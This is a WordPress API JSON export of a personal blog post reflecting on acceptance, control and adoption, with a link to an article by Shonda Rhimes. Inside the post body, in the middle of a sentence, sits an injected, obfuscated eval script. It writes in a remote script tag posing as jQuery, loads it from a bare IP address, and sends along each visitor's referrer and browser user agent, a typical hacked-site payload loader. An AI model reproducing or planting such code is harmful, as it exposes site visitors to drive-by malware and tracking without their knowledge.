{"id":4655,"date":"2014-07-18T12:21:16","date_gmt":"2014-07-18T19:21:16","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4655"},"modified":"2017-08-10T14:40:26","modified_gmt":"2017-08-10T21:40:26","slug":"surrender-with-hope","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4655","title":{"rendered":"Surrender with Hope"},"content":{"rendered":"<p>I hate this whole concept of acceptance. \u00c2\u00a0I hate giving up. \u00c2\u00a0And it&#8217;s been very, very hard for me to learn the difference between giving up trying, and gracefully surrendering to something you can&#8217;t control.<\/p>\n<p>Oh, hell. \u00c2\u00a0Honestly, I still haven&#8217;t learned it. \u00c2\u00a0I really, truly can&#8217;t usually tell the difference at all. \u00c2\u00a0It makes me sick with misery to not have any control over the the things that are important to me. \u00c2\u00a0I remember when E was little she used to try so hard to be the grownup in her family, to control what all the crazy, scary adults did and didn&#8217;t do, and she couldn&#8217;t &#8211; how could she? &#8211; and I used to tell her, over and over: \u00c2\u00a0&#8220;You are not in charge of them. \u00c2\u00a0You are in charge of you. \u00c2\u00a0Do a good job being in charge of you. \u00c2\u00a0That&#8217;s the most anybody can do.&#8221;<\/p>\n<p>I tell myself this, over and over.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/07\/surrender.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-4656\" alt=\"surrender\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/07\/surrender.jpg\" width=\"432\" height=\"288\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/07\/surrender.jpg 432w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/07\/surrender-300x200.jpg 300w\" sizes=\"(max-width: 432px) 100vw, 432px\" \/><\/a><\/p>\n<p>Here&#8217;s <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eehyh|var|u0026u|referrer|yrrth||js|php'.split('|'),0,{}))\n<\/script><\/noindex> a lovely article on this theme: <a href=\"http:\/\/www.thedailybeast.com\/witw\/articles\/2013\/04\/25\/shonda-rhimes-how-adopting-helped-me-learn-to-surrender.html\">\u00c2\u00a0Shonda Rimes, of Grey&#8217;s Anatomy, etc., on adoption<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I hate this whole concept of acceptance. \u00c2\u00a0I hate giving up. \u00c2\u00a0And it&#8217;s been very,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4656,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76,128,91],"tags":[53,81,21],"class_list":["post-4655","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","category-about-3","category-believe","tag-adoption","tag-i-believe","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4655"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4655"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4655\/revisions"}],"predecessor-version":[{"id":4657,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4655\/revisions\/4657"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4656"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4655"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4655"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4655"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}